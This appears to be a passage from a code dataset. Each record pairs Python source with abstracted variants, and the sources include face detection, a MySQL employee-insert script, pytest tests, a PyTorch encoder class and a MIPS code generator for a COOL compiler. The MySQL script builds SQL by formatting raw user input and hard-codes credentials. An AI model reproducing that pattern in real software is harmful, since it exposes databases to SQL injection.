face_detector(img, face_cascade, eye_cascade, face_f):\n xf = face_f[0]\n yf = face_f[1]\n wf = face_f[2]\n hf = face_f[3]\n xi = 0\n yi = 0\n wi = img.shape[1]\n hi = img.shape[0]\n c = float(0.1)\n print('face_f: ', xf, xf + wf, yf, yf + hf)\n if xf != xi or yf != yi or wf != wi or hf != hi:\n y1 = yf - round(c * hf)\n y2 = yf + hf + round(c * hf)\n x1 = xf - round(c * wf)\n x2 = xf + wf + round(c * wf)\n roi_f = img[y1:y2, x1:x2]\n print('Face apertura: ', x1, x2, y1, y2)\n cv2.imshow('Face apertura', roi_f)\n else:\n roi_f = img[face_f[1]:face_f[1] + face_f[3], face_f[0]:face_f[0] +\n face_f[2]]\n gray_img = cv2.cvtColor(roi_f, cv2.COLOR_BGR2GRAY)\n cv2.imshow('gray_img', gray_img)\n faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04,\n minNeighbors=5)\n print('Faces: ', faces)\n if type(faces) == np.ndarray:\n flag = -1\n for x, y, w, h in faces:\n flag = flag + 1\n if w >= 100 and w <= 125 and h >= 100 and h <= 125:\n print('Entro en el if de tamaño')\n print('Face: ', x, y, w, h)\n roi_gray = gray_img[y:y + h, x:x + w]\n cv2.imshow('roi_gray', roi_gray)\n eyes = eye_cascade.detectMultiScale(roi_gray)\n c_eyes = 0\n for ex, ey, ew, eh in eyes:\n c_eyes = c_eyes + 1\n if c_eyes >= 2:\n print('faces[flag]', faces[flag])\n return faces[flag]\n", "<import token>\n<function token>\n" ]
false
9,949
8a2b7376369513ce403a2542fb8c6d5826b2169b
# -*- coding: utf-8 *-* import MySQLdb conn = MySQLdb.connect('localhost', 'ABarbara', 'root', '1dawabarbara') # Abro la conexión def crearTabla(query): # Le paso la cadena que realizará el create como parámetro. cursor = conn.cursor() #En un cursor (de la conexión) almaceno lo que quiero enviar a la base de datos. cursor.execute(query) #Ejecuto la orden cursor.close() # Una vez utilizado, cierro mi cursor. def insertarEmpleados(): cursor= conn.cursor() for x in range(2): try: nombre = raw_input('Nombre: ') apellido = raw_input('Apellido: ') sueldoBase = comprobarSueldo(float(raw_input ('Sueldo base: '))) hijos = (int(raw_input('Número de hijos: '))) sueldoFinal = calcularImponible(sueldoBase, hijos) insert = (("INSERT INTO EMPLEADOS VALUES('%s', '%s', '%f', '%d', '%f')" ) % (nombre, apellido, sueldoBase, hijos, sueldoFinal)) cursor.execute(insert) except ValueError: print "Error, tipo de dato incorrecto" except Exception: print "Error" cursor.close() def comprobarSueldo(sueldoBase): if sueldoBase<600: sueldoBase=600 return sueldoBase def calcularImponible(sueldo, hijos): if hijos>0: sueldoFinal= sueldo+((0.05*sueldo)*hijos) else: sueldoFinal= sueldo return sueldoFinal crearTabla("CREATE TABLE EMPLEADOS (nombre varchar(100), apellido varchar(100), sueldo_base Decimal, hijos int, sueldo_final Decimal)") insertarEmpleados() conn.commit() conn.close()
[ "# -*- coding: utf-8 *-*\nimport MySQLdb \n\nconn = MySQLdb.connect('localhost', 'ABarbara', 'root', '1dawabarbara') # Abro la conexión \n\ndef crearTabla(query): # Le paso la cadena que realizará el create como parámetro.\n\tcursor = conn.cursor() #En un cursor (de la conexión) almaceno lo que quiero enviar a la base de datos.\n\tcursor.execute(query) #Ejecuto la orden\n\tcursor.close() # Una vez utilizado, cierro mi cursor.\n\ndef insertarEmpleados():\n\tcursor= conn.cursor()\n\tfor x in range(2):\n\t\ttry:\n\t\t\tnombre = raw_input('Nombre: ')\n\t\t\tapellido = raw_input('Apellido: ')\n\t\t\tsueldoBase = comprobarSueldo(float(raw_input ('Sueldo base: ')))\n\t\t\thijos = (int(raw_input('Número de hijos: ')))\n\t\t\tsueldoFinal = calcularImponible(sueldoBase, hijos)\n\t\t\tinsert = ((\"INSERT INTO EMPLEADOS VALUES('%s', '%s', '%f', '%d', '%f')\" ) % (nombre, apellido, sueldoBase, hijos, sueldoFinal))\n\n\t\t\tcursor.execute(insert) \n\n\t\texcept ValueError:\n\t\t\tprint \"Error, tipo de dato incorrecto\"\n\t\texcept Exception:\n\t\t\tprint \"Error\"\n\tcursor.close()\n\ndef comprobarSueldo(sueldoBase):\n\tif sueldoBase<600:\n\t\tsueldoBase=600\n\treturn sueldoBase\n\ndef calcularImponible(sueldo, hijos):\n\tif hijos>0:\n\t\tsueldoFinal= sueldo+((0.05*sueldo)*hijos)\n\telse:\n\t\tsueldoFinal= sueldo\n\treturn sueldoFinal\n\ncrearTabla(\"CREATE TABLE EMPLEADOS (nombre varchar(100), apellido varchar(100), sueldo_base Decimal, hijos int, sueldo_final Decimal)\")\ninsertarEmpleados()\nconn.commit() \nconn.close()" ]
true
9,950
d10c74338ea18ef3e5fb6a4dd2224faa4f94aa62
import pytest from domain.story import Story from tests.dot_dictionary import DotDict @pytest.fixture() def deployed_story_over_a_weekend(): revision_0 = DotDict({ 'CreationDate': "2019-07-11T14:33:20.000Z" }) revision_1 = DotDict({ 'CreationDate': "2019-07-31T15:33:20.000Z", 'Description': "SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]" }) revision_2 = DotDict({ 'CreationDate': "2019-08-06T16:33:20.000Z", 'Description': "SCHEDULE STATE changed from [Ready For Prod] to [Deployed]" }) rally_story = DotDict({ 'ScheduleState': 'Completed', 'RevisionHistory': DotDict({ 'Revisions': [revision_2, revision_1, revision_0] }) }); return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress', 'Development'}, {'Deployed', 'Prod - ON'}) def test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend): assert deployed_story_over_a_weekend.cycle_time == 7 def test_find_current_start_state() : assert 'In-Progress' == Story.find_current_state_name({'Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'}, {'In-Progress', 'Development'})
[ "import pytest\nfrom domain.story import Story\nfrom tests.dot_dictionary import DotDict\n\[email protected]()\ndef deployed_story_over_a_weekend():\n revision_0 = DotDict({\n 'CreationDate': \"2019-07-11T14:33:20.000Z\"\n })\n revision_1 = DotDict({\n 'CreationDate': \"2019-07-31T15:33:20.000Z\",\n 'Description': \"SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]\"\n })\n revision_2 = DotDict({\n 'CreationDate': \"2019-08-06T16:33:20.000Z\",\n 'Description': \"SCHEDULE STATE changed from [Ready For Prod] to [Deployed]\"\n })\n rally_story = DotDict({\n 'ScheduleState': 'Completed',\n 'RevisionHistory': DotDict({\n 'Revisions': [revision_2, revision_1, revision_0]\n })\n });\n return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'],\n {'In-Progress', 'Development'}, {'Deployed', 'Prod - ON'})\n\n\ndef test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend):\n assert deployed_story_over_a_weekend.cycle_time == 7\n\n\ndef test_find_current_start_state() :\n assert 'In-Progress' == Story.find_current_state_name({'Backlog', 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'}, {'In-Progress', 'Development'})\n", "import pytest\nfrom domain.story import Story\nfrom tests.dot_dictionary import DotDict\n\n\[email protected]()\ndef deployed_story_over_a_weekend():\n revision_0 = DotDict({'CreationDate': '2019-07-11T14:33:20.000Z'})\n revision_1 = DotDict({'CreationDate': '2019-07-31T15:33:20.000Z',\n 'Description':\n 'SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]'\n })\n revision_2 = DotDict({'CreationDate': '2019-08-06T16:33:20.000Z',\n 'Description':\n 'SCHEDULE STATE changed from [Ready For Prod] to [Deployed]'})\n rally_story = DotDict({'ScheduleState': 'Completed', 'RevisionHistory':\n DotDict({'Revisions': [revision_2, revision_1, revision_0]})})\n return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress',\n 'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress',\n 'Development'}, {'Deployed', 'Prod - ON'})\n\n\ndef test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend):\n assert deployed_story_over_a_weekend.cycle_time == 7\n\n\ndef test_find_current_start_state():\n assert 'In-Progress' == Story.find_current_state_name({'Backlog',\n 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'},\n {'In-Progress', 'Development'})\n", "<import token>\n\n\[email protected]()\ndef deployed_story_over_a_weekend():\n revision_0 = DotDict({'CreationDate': '2019-07-11T14:33:20.000Z'})\n revision_1 = DotDict({'CreationDate': '2019-07-31T15:33:20.000Z',\n 'Description':\n 'SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]'\n })\n revision_2 = DotDict({'CreationDate': '2019-08-06T16:33:20.000Z',\n 'Description':\n 'SCHEDULE STATE changed from [Ready For Prod] to [Deployed]'})\n rally_story = DotDict({'ScheduleState': 'Completed', 'RevisionHistory':\n DotDict({'Revisions': [revision_2, revision_1, revision_0]})})\n return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress',\n 'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress',\n 'Development'}, {'Deployed', 'Prod - ON'})\n\n\ndef test_cycle_time_only_includes_business_days(deployed_story_over_a_weekend):\n assert deployed_story_over_a_weekend.cycle_time == 7\n\n\ndef test_find_current_start_state():\n assert 'In-Progress' == Story.find_current_state_name({'Backlog',\n 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'},\n {'In-Progress', 'Development'})\n", "<import token>\n\n\[email protected]()\ndef deployed_story_over_a_weekend():\n revision_0 = DotDict({'CreationDate': '2019-07-11T14:33:20.000Z'})\n revision_1 = DotDict({'CreationDate': '2019-07-31T15:33:20.000Z',\n 'Description':\n 'SCHEDULE STATE changed from [To-Do] to [In-Progress], READY changed from [true] to [false]'\n })\n revision_2 = DotDict({'CreationDate': '2019-08-06T16:33:20.000Z',\n 'Description':\n 'SCHEDULE STATE changed from [Ready For Prod] to [Deployed]'})\n rally_story = DotDict({'ScheduleState': 'Completed', 'RevisionHistory':\n DotDict({'Revisions': [revision_2, revision_1, revision_0]})})\n return Story(rally_story, ['Backlog', 'To-Do', 'In-Progress',\n 'Completed', 'Ready For Prod', 'Deployed'], {'In-Progress',\n 'Development'}, {'Deployed', 'Prod - ON'})\n\n\n<function token>\n\n\ndef test_find_current_start_state():\n assert 'In-Progress' == Story.find_current_state_name({'Backlog',\n 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'},\n {'In-Progress', 'Development'})\n", "<import token>\n<function token>\n<function token>\n\n\ndef test_find_current_start_state():\n assert 'In-Progress' == Story.find_current_state_name({'Backlog',\n 'To-Do', 'In-Progress', 'Completed', 'Ready For Prod', 'Deployed'},\n {'In-Progress', 'Development'})\n", "<import token>\n<function token>\n<function token>\n<function token>\n" ]
false
9,951
86ee2300b5270df3dadb22f2cfea626e6556e5db
from torch import nn from abc import ABCMeta, abstractmethod class BaseEncoder(nn.Module): __metaclass__ = ABCMeta def __init__(self, **kwargs): if len(kwargs) > 0: raise RuntimeError( "Unrecognized options: {}".format(', '.join(kwargs.keys()))) super(BaseEncoder, self).__init__() @abstractmethod def forward(self, features, features_lengths, spkids): """ Encode a minibatch of audio features :param features: float32 tensor of size (bs x t x f x c) :param features_lengths: int64 tensor of size (bs) :param spkids: string id of speakers :returns: A tuple with elements: - encoded: float32 tensor of size (t x bs x d) - encoded_lens: int64 tensor of size (bs) """ pass def get_parameters_for_optimizer(self): return self.parameters()
[ "from torch import nn\nfrom abc import ABCMeta, abstractmethod\n\nclass BaseEncoder(nn.Module):\n __metaclass__ = ABCMeta\n\n def __init__(self, **kwargs):\n if len(kwargs) > 0:\n raise RuntimeError(\n \"Unrecognized options: {}\".format(', '.join(kwargs.keys())))\n super(BaseEncoder, self).__init__()\n\n @abstractmethod\n def forward(self, features, features_lengths, spkids):\n \"\"\" Encode a minibatch of audio features\n\n :param features: float32 tensor of size (bs x t x f x c)\n :param features_lengths: int64 tensor of size (bs)\n :param spkids: string id of speakers\n :returns: A tuple with elements:\n - encoded: float32 tensor of size (t x bs x d)\n - encoded_lens: int64 tensor of size (bs)\n \"\"\"\n pass\n\n def get_parameters_for_optimizer(self):\n return self.parameters()", "from torch import nn\nfrom abc import ABCMeta, abstractmethod\n\n\nclass BaseEncoder(nn.Module):\n __metaclass__ = ABCMeta\n\n def __init__(self, **kwargs):\n if len(kwargs) > 0:\n raise RuntimeError('Unrecognized options: {}'.format(', '.join(\n kwargs.keys())))\n super(BaseEncoder, self).__init__()\n\n @abstractmethod\n def forward(self, features, features_lengths, spkids):\n \"\"\" Encode a minibatch of audio features\n\n :param features: float32 tensor of size (bs x t x f x c)\n :param features_lengths: int64 tensor of size (bs)\n :param spkids: string id of speakers\n :returns: A tuple with elements:\n - encoded: float32 tensor of size (t x bs x d)\n - encoded_lens: int64 tensor of size (bs)\n \"\"\"\n pass\n\n def get_parameters_for_optimizer(self):\n return self.parameters()\n", "<import token>\n\n\nclass BaseEncoder(nn.Module):\n __metaclass__ = ABCMeta\n\n def __init__(self, **kwargs):\n if len(kwargs) > 0:\n raise RuntimeError('Unrecognized options: {}'.format(', '.join(\n kwargs.keys())))\n super(BaseEncoder, self).__init__()\n\n @abstractmethod\n def forward(self, features, features_lengths, spkids):\n \"\"\" Encode a minibatch of audio features\n\n :param features: float32 tensor of size (bs x t x f x c)\n :param features_lengths: int64 tensor of size (bs)\n :param spkids: string id of speakers\n :returns: A tuple with elements:\n - encoded: float32 tensor of size (t x bs x d)\n - encoded_lens: int64 tensor of size (bs)\n \"\"\"\n pass\n\n def get_parameters_for_optimizer(self):\n return self.parameters()\n", "<import token>\n\n\nclass BaseEncoder(nn.Module):\n <assignment token>\n\n def __init__(self, **kwargs):\n if len(kwargs) > 0:\n raise RuntimeError('Unrecognized options: {}'.format(', '.join(\n kwargs.keys())))\n super(BaseEncoder, self).__init__()\n\n @abstractmethod\n def forward(self, features, features_lengths, spkids):\n \"\"\" Encode a minibatch of audio features\n\n :param features: float32 tensor of size (bs x t x f x c)\n :param features_lengths: int64 tensor of size (bs)\n :param spkids: string id of speakers\n :returns: A tuple with elements:\n - encoded: float32 tensor of size (t x bs x d)\n - encoded_lens: int64 tensor of size (bs)\n \"\"\"\n pass\n\n def get_parameters_for_optimizer(self):\n return self.parameters()\n", "<import token>\n\n\nclass BaseEncoder(nn.Module):\n <assignment token>\n\n def __init__(self, **kwargs):\n if len(kwargs) > 0:\n raise RuntimeError('Unrecognized options: {}'.format(', '.join(\n kwargs.keys())))\n super(BaseEncoder, self).__init__()\n <function token>\n\n def get_parameters_for_optimizer(self):\n return self.parameters()\n", "<import token>\n\n\nclass BaseEncoder(nn.Module):\n <assignment token>\n <function token>\n <function token>\n\n def get_parameters_for_optimizer(self):\n return self.parameters()\n", "<import token>\n\n\nclass BaseEncoder(nn.Module):\n <assignment token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]
false
9,952
63bc191a81a200d3c257de429c082cc8d13c98f4
""" Registers $v0 and $v1 are used to return values from functions. Registers $t0 – $t9 are caller-saved registers that are used to hold temporary quantities that need not be preserved across calls Registers $s0 – $s7 (16–23) are callee-saved registers that hold long-lived values that should be preserved across calls. They are preserved across calls Register $gp is a global pointer that points to the middle of a 64K block of memory in the static data segment. Preserve across calls Register $fp is the frame pointer. Register $fp is saved by every procedure that allocates a new stack frame.Preserve across calls Register $sp is the stack pointer, which points to the last location on the stack(Points to Free Memory). Preserve across calls Register $ra only needs to be saved if the callee itself makes a call. Register $s0 <- Prototypes table Register $s1 <- Class Names table Register $s2 <- Class parents table 0($fp): some local variable 4(%fp): old $ra 8(%fp): old $fp 12(%fp): 1st argument Self ..... Class Name table layout offset 0 - "Class1" offset 4 - "Class2" offset 8 - "Class3" ..... Prototypes Table layout offset 0 - protObj1 offset 4 - Obj1_init offset 8 - protObj2 offset 12 - Obj2_init ..... Dispatch Table layout: offset 0 - addres of method m0 offset 1 - addres of method m1 ..... Prototype layout: offset 0 - Class tag : int that identifies the class of the object offset 4 - Object size :(in 32-bit words) = 12 + 4 * (number of attributes) offset 8 - Dispatch pointer : pointer to the table of virtual methods offset 12. . . Attributes """ import sys sys.path.append('..') import commons.cil_ast as cil import commons.visitor as visitor from commons.settings import * class MipsVisitor: """ Mips Visitor Class. This visitor will process the AST of the generated CIL and write the mips code to a file. """ def __init__(self, inherit_graph, output_file="mips_code.mips"): self.inherit_graph, _ = inherit_graph self.offset = dict() self.type_index = [] self.dispatchtable_code = [] self.prototypes_code = [] self.cur_labels_id = 0 self.output_file = output_file # ====================================================================== # =[ UTILS ]============================================================ # ====================================================================== def push(self): self.write_file('sw $a0 0($sp)') self.write_file('addiu $sp $sp -4') def pop(self, dest=None): self.write_file(f'addiu $sp $sp 4') def write_file(self, msg, mode = "a", tabbed=True): f = open(self.output_file, mode) f.write("{}{}\n".format("\t" if tabbed else "", msg)) f.close() def allocate_memory(self, size=None, register=False): if register: self.write_file('move $a0 {}'.format(size)) else: if size: self.write_file('li $a0 {}'.format(size)) self.write_file('li $v0 9') self.write_file('syscall') def new_labels_id(self): self.cur_labels_id += 1 return self.cur_labels_id # ====================================================================== @visitor.on('node') def visit(self, node): pass ################################ PROGRAM ##################################### @visitor.when(cil.Program) def visit(self, node: cil.Program): self.write_file('', "w") #-------------------- DATA SECTION ---------------------------- self.write_file('.data', tabbed = False) # Declare static data self.static_datas() # Transpile CIL data section for data in node.data_section: self.visit(data) self.write_file('') # Declare class name strings and map class index for i in range(len(node.type_section)): self.type_index.append(node.type_section[i].type_name) self.write_file('classname_{}: .asciiz \"{}\"'.format(node.type_section[i].type_name,node.type_section[i].type_name)) # Declare void type self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"') #-------------------- TEXT SECTION ---------------------------- self.write_file('\n.text') self.entry() self.write_file('\n########## STATIC FUNCTIONS ##########\n') # CONFORMS self.conforms() # IS_VOID self.isvoid() # OBJECT self.object_abort() self.object_copy() self.object_typename() # STRING self.string_length() self.string_concat() self.string_substr() # IO self.io_in_int() self.io_in_string() self.io_out_int() self.io_out_string() for t in node.type_section: self.visit(t) self.write_file('\n############## TABLES ################\n') # Generate method that creates classes's name table self.write_file('function_build_class_name_table:', tabbed=False) self.allocate_memory(len(node.type_section) * 4) self.write_file('move $s1 $v0') # save the address of the table in a register for i in range(len(node.type_section)): self.write_file('la $t1 classname_{}'.format(node.type_section[i].type_name)) self.write_file('sw $t1 {}($s1)'.format(4 * i)) self.write_file('') # Generate method that allocates memory for prototypes table self.write_file('function_allocate_prototypes_table:', tabbed=False) self.allocate_memory(8 * len(self.type_index)) self.write_file('move $s0 $v0') # save the address of the table in a register self.write_file('') # Generate mips method that builds prototypes self.write_file('function_build_prototypes:', tabbed=False) for ins in self.prototypes_code: self.write_file(ins) self.write_file('') # Generate mips method that builds dispatch tables self.write_file('function_build_dispatch_tables:', tabbed=False) for ins in self.dispatchtable_code: self.write_file(ins) self.write_file('') # Generate method that builds class parents table self.write_file('function_build_class_parents_table:', tabbed=False) self.allocate_memory(4 * len(self.type_index)) self.write_file('move $s2 $v0') # save the address of the table in a register self.write_file('') # Fill table entry for each class type for parent in self.inherit_graph.keys(): p_index = self.type_index.index(parent) for child in self.inherit_graph[parent]: ch_index = self.type_index.index(child.name) self.write_file(f'li $t0 {ch_index}') self.write_file(f'mul $t0 $t0 4') self.write_file(f'add $t0 $t0 $s2') self.write_file(f'li $t1 {p_index}') self.write_file(f'sw $t1 0($t0)') self.write_file('') self.write_file('') # Generate COOL functions self.write_file('\n########### COOL FUNCTIONS ##########\n') for func in node.code_section: is_built_in = False if not INIT_CIL_SUFFIX in func.name: is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in func.name] != [] if not is_built_in: self.visit(func) self.write_file('\n#####################################\n') ################################ .DATA ####################################### @visitor.when(cil.Data) def visit(self, node: cil.Data): self.write_file(f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"') ################################ TYPES ####################################### @visitor.when(cil.Type) def visit(self, node: cil.Type): # Allocate self.dispatchtable_code.append(f'# Type {node.type_name}') self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.methods))) self.dispatchtable_code.append('li $v0 9') self.dispatchtable_code.append('syscall') # Add dispatch table code for i in range(len(node.methods)): self.dispatchtable_code.append('la $t1 function_{}'.format(node.methods[i].function_name)) self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i)) self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.type_index.index(node.type_name))) self.dispatchtable_code.append('sw $v0 8($t0)') self.dispatchtable_code.append('') # Allocate self.prototypes_code.append(f'# Type {node.type_name}') self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.attributes))) self.prototypes_code.append('li $v0 9') self.prototypes_code.append('syscall') # Add prototype code class_index = self.type_index.index(node.type_name) self.prototypes_code.append('li $a0 {}'.format(class_index)) self.prototypes_code.append('sw $a0 0($v0)') self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.attributes))) self.prototypes_code.append('sw $a0 4($v0)') self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index)) self.prototypes_code.append('') @visitor.when(cil.Function) def visit(self, node: cil.Function): self.write_file(f'function_{node.name}:', tabbed=False) # Set up stack frame self.write_file(f'move $fp, $sp') self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}') # Register arguments offsets for i in range(len(node.args)): self.offset[node.args[i].name] = 12 + i * 4 # Register locals offsets for i in range(len(node.vlocals)): self.offset[node.vlocals[i].name] = i * (-4) # Generate mips code for the function's body for inst in node.body: # Equal node needs unique id for its labels if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div): inst.id = self.new_labels_id() self.visit(inst) # Pop the stack frame self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}') # Return self.write_file('jr $ra') self.write_file('') ############################## ASSIGNMENT #################################### @visitor.when(cil.Assign) def visit(self, node: cil.Assign): self.write_file('# ASSIGN') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') ############################# ARITHMETICS #################################### @visitor.when(cil.Plus) def visit(self, node: cil.Plus): self.write_file('# +') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file('add $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.Minus) def visit(self, node: cil.Minus): self.write_file('# -') if isinstance(node.left, int): self.write_file('li $a0 {}'.format(node.left)) else: self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file('sub $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.Mult) def visit(self, node: cil.Mult): self.write_file('# *') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file('mul $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.Div) def visit(self, node: cil.Div): self.write_file('# /') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file(f'beqz $a1 _div_error_{node.id}_') self.write_file('div $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file(f'b _div_end_{node.id}_') self.write_file(f'_div_error_{node.id}_:',tabbed=False) self.write_file('la $a0 _div_zero_msg') self.write_file('li $v0 4') self.write_file('syscall') self.write_file('la $a0 _abort_msg') self.write_file('li $v0 4') self.write_file('syscall') self.write_file('li $v0 10') self.write_file('syscall') self.write_file(f'_div_end_{node.id}_:',tabbed=False) ############################# COMPARISONS #################################### @visitor.when(cil.Equal) def visit(self, node: cil.Equal): self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left])) self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right])) self.write_file(f'beq $t0 $zero _eq_false_{node.id}_') # $t0 can't also be void self.write_file(f'beq $t1 $zero _eq_false_{node.id}_') # $t1 can't also be void self.write_file('lw $a0 0($t0)') # get object 1 tag self.write_file('lw $a1 0($t1)') # get object 2 tag self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') # compare tags self.write_file('li $a2 {}'.format(self.type_index.index(INTEGER_CLASS))) # load int tag self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') # Integers self.write_file('li $a2 {}'.format(self.type_index.index(BOOLEAN_CLASS))) # load bool tag self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') # Booleans self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))) # load string tag self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_') # Not a primitive type # equal strings # verify len of the strings self.write_file(f'_eq_str_{node.id}_:', tabbed = False) # handle strings self.write_file('lw $t3 12($t0)') # get string_1 size self.write_file('lw $t3 12($t3)') # unbox string_1 size self.write_file('lw $t4, 12($t1)') # get string_2 size self.write_file('lw $t4, 12($t4)') # unbox string_2 size self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_') # string size are distinct self.write_file(f'beq $t3 $0 _eq_true_{node.id}_') # if strings are empty # Verify ascii secuences self.write_file('addu $t0 $t0 16') # Point to start of string s1 self.write_file('lw $t0 0($t0)') self.write_file('addu $t1 $t1 16') # Point to start of string s2 self.write_file('lw $t1 0($t1)') self.write_file('move $t2 $t3') # Keep string length as counter self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed = False) self.write_file('lb $a0 0($t0)') # get char of s1 self.write_file('lb $a1 0($t1)') # get char of s2 self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') # char s1 /= char s2 self.write_file('addu $t0 $t0 1') self.write_file('addu $t1 $t1 1') self.write_file('addiu $t2 $t2 -1') # Decrement counter self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_') self.write_file(f'b _eq_true_{node.id}_') # end of strings self.write_file(f'_not_basic_type_{node.id}_:', tabbed = False) self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_') self.write_file(f'b _eq_true_{node.id}_') # equal int or boolf self.write_file(f'_eq_int_bool_{node.id}:', tabbed = False) # handles booleans and ints self.write_file('lw $a3 12($t0)') # load value variable_1 self.write_file('lw $t4 12($t1)') # load variable_2 self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_') # value of int or bool are distinct #return true self.write_file(f'_eq_true_{node.id}_:', tabbed = False) self.write_file('li $a0 1') self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest])) self.write_file(f'b end_equal_{node.id}_') #return false self.write_file(f'_eq_false_{node.id}_:', tabbed = False) self.write_file('li $a0 0') self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest])) self.write_file(f'end_equal_{node.id}_:', tabbed = False) @visitor.when(cil.LessThan) def visit(self, node: cil.LessThan): self.write_file('# <') self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right])) self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.EqualOrLessThan) def visit(self, node: cil.EqualOrLessThan): self.write_file('# <=') self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right])) self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') ############################## ATTRIBUTES #################################### @visitor.when(cil.GetAttrib) def visit(self, node: cil.GetAttrib): self.write_file('# GETATTR') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)') self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.SetAttrib) def visit(self, node: cil.SetAttrib): self.write_file('# SETATTR') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') if isinstance(node.src, int): self.write_file(f'li $a0, {node.src}') elif node.src[:5] == "data_": self.write_file(f'la $a0, {node.src}') else: self.write_file(f'lw $a0 {self.offset[node.src]}($fp)') self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)') self.write_file('') ################################ MEMORY ###################################### @visitor.when(cil.TypeOf) def visit(self, node: cil.TypeOf): self.write_file('# TYPEOF') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') self.write_file(f'lw $a0 0($a1)') self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.Allocate) def visit(self, node: cil.Allocate): self.write_file('# ALLOCATE') if node.ttype == VOID_TYPE: self.write_file(f'la $v0 {VOID_MIPS_NAME}') self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') else: offset_proto = self.type_index.index(node.ttype) * 8 self.write_file('lw $t0 {}($s0)'.format(offset_proto)) self.write_file('sw $t0, 0($sp)') self.write_file('addiu $sp, $sp, -4') self.write_file('') self.visit(cil.Call(dest = node.dest, f = "Object_copy")) self.write_file('addiu $sp, $sp, 4') self.write_file('') ########################## DISPATCH STATEMENTS ############################### @visitor.when(cil.Call) def visit(self, node: cil.Call): self.write_file('# CALL') # Save return address and frame pointer self.write_file(f'addiu $sp, $sp, -8') self.write_file(f'sw $ra, 4($sp)') self.write_file(f'sw $fp, 8($sp)') # Call the function self.write_file(f'jal function_{node.f}') # Restore return address and frame pointer self.write_file(f'lw $fp, 8($sp)') self.write_file(f'lw $ra, 